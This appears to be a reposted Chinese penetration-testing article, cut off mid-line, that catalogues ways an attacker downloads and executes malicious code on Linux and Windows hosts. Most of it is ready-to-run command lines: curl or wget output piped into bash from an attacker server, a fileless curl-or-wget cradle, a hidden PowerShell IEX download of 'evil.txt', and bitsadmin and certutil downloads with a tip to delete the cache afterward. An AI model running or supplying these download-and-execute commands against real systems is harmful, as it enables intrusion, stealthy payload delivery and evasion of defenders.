通过命令下载执行恶意代码的几种姿势
原创 Bypass
来源于公众号: Bypass
原文链接:https://mp.weixin.qq.com/s?__biz=MzA3NzE2MjgwMg==&mid=2448905857&idx=1&sn=32fd4813fc07c2f5d6710b87aad377aa&chksm=8b55c6dcbc224fcac8c95ce91976530eea0ac48491b71b564369e932c196905559ef3e5bc0f5&mpshare=1&scene=23&srcid=0820p29MG5xSB9UxHEdAdr8b&sharer_sharetime=1597882659854&sharer_shareid=ff83fe2fe7db7fcd8a1fcbc183d841c4#rd
在渗透过程中,攻击者往往需要通过命令下载执行恶意代码,实现信息收集、持久化、权限提升、防御绕过、提取凭证、横向移动、数据渗出等操作。 在目标主机执行恶意代码,可以分为上传/下载并执行恶意代码和无文件远程恶意代码执行。接下来,我们来总结一下Linux和Windows中下载和执行恶意代码的一些姿势。
一、Linux 远程恶意代码执行 01、curl 以用curl的方式执行http页面上的shell脚本,无需download,在本地机器上直接执行。 方式1:curl -fsSL http://192.168.99.19:8080/test.sh | bash
方式2:bash < <( curl http://192.168.99.19:8080/test.sh )
02、wget 执行wget命令远程下载恶意程序。 方式1:wget -q -O- http://192.168.99.19:8080/test.sh | bash方式2:wget http://192.168.99.19:8080/shell.txt -O /tmp/x.php && php /tmp/x.php
curl+wget合并,实现无文件远程恶意代码执行。 bash -c '(curl -fsSL http://192.168.99.19:8080/test.sh||wget -q -O- http://192.168.99.19:8080/test.sh)|bash -sh >/dev/null 2>&1&'
03、rcp rcp命令用于复制远程文件或目录。 rcp root@x.x.x.x:./testfile testfile
04、scp scp 是 rcp 的加强版,scp 是加密的,rcp 是不加密的。 scp username@servername:/path/filename /tmp/local_destination
05、rsync 使用rsync可以进行远程同步,拉取文件到本地服务器。 rsync -av x.x.x.x:/tmp/passwd.txt /tmp/passwd.txt
06、sftp 使用sftp下载远程服务器上的文件。 sftp admin@192.168.99.242 <<EOF get /tmp/2.txt quit EOF
二、Windows 远程恶意代码执行 01、Powershell 利用powershell远程执行ps1脚本。 powershell -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.28.128/evil.txt'))"
02、Bitsadmin利用bitsadmin命令下载文件到目标机器。 bitsadmin /transfer n http://192.168.28.128/imag/evil.txt d:\test\1.txt
03、certutil 用于备份证书服务,一般建议下载完文件后对缓存进行删除。 #下载文件
certutil -urlcache -split -f http://192.168.28.128/imag/evil.txt test.php#删除缓存
certutil -urlcache -split -f http://192.168.28.128/imag/evil.txt delete
04、rundll32 使用rundll32.exe,可以通过mshtml.dll执行JavaScript ,依赖于WScript.shell这个组件 rundll32.exe javascript:%2 |